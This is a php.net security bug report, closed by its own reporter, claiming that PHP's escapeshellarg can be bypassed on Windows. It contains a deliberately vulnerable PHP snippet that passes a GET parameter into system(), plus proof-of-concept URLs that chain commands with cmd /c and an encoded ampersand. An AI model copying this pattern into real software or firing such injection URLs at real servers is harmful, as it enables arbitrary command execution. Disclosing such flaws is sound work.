php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #74206 escapeshellarg PHP function bypass
Submitted: 2017-03-04 22:30 UTC Modified: 2017-10-16 03:04 UTC
From: apparitionsec at gmail dot com Assigned: stas (profile)
Status: Closed Package: Unknown/Other Function
PHP Version: Irrelevant OS: Windows
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: apparitionsec at gmail dot com
New email:
PHP Version: OS:

 

 [2017-03-04 22:30 UTC] apparitionsec at gmail dot com
Description:
------------
I am reporting the following vulnerability in PHP function  'escapeshellarg', it can be bypassed easily as below example using Windows cmd.exe /C ....

Best regards,
John Page AKA hyp3rlinx

Bypass easily using cmd /c %26 etc...

Test script:
---------------
1) PHP file using escapeshellarg to 'safely' call single command.

<?php

$c = escapeshellarg($_GET['c']);
system($c);

?>


2) Bypass it.

http://localhost/test.php?c=cmd%20/c%20calc%26taskmgr

OR

http://localhost/test.php?c=cmd%20/c%20calc%26taskmgr%26mspaint


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-03-04 22:45 UTC] apparitionsec at gmail dot com
-Summary: escapeshellargs PHP function bypass +Summary: escapeshellarg PHP function bypass -Operating System: +Operating System: Windows
 [2017-03-04 22:45 UTC] apparitionsec at gmail dot com
Windows OS
 [2017-03-07 05:18 UTC] apparitionsec at gmail dot com
-Status: Open +Status: Closed
 [2017-03-07 05:18 UTC] apparitionsec at gmail dot com
Done
 [2017-10-16 03:04 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Apr 26 13:01:28 2024 UTC